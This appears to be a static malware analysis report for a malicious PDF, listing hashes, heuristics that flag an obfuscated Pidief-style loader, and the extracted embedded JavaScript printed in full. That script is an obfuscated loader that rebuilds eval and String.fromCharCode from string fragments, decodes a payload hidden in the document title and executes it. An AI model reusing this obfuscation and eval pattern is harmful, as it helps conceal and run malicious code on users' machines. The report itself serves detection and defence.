Malicious PDF — malware analysis report

Static analysis result for SHA-256 8a41a4c98b26eb11…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 25458b3267c045b2e2c4c39c74645a41 SHA-1: e97a51f3a44dccbdbad05e3246d83dfcd9ce60c7 SHA-256: 8a41a4c98b26eb1122dcfefd1d672bf57d74fc134b85e38f37d452b79c900667
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier also flagged this PDF as highly malicious. The embedded JavaScript stream, named javascript_obj0001_000.js, is the primary indicator of malicious activity. While the exact function of the script is not detailed, its presence within a PDF strongly suggests an attempt to execute malicious code, potentially leading to further compromise.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFA7 609 bytes
SHA-256: 848e0a6575df5952c03cb2debbc06556f3ff08ff64faed955b7dd371782378fe
Preview script
First 1,000 lines of the extracted script
nzvt='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
nrz=e('ti'+'tle');
s=nrz.substr(t.length + 8,3)+'str';
q=nrz[s](1,(1,9));
lwti=e('S'+'tring.fro'+q);
q=nrz[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	skbh = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	nzvt += lwti(skbh);
}
e(nzvt);

Open this report in the interactive analyzer, or submit your own file for analysis.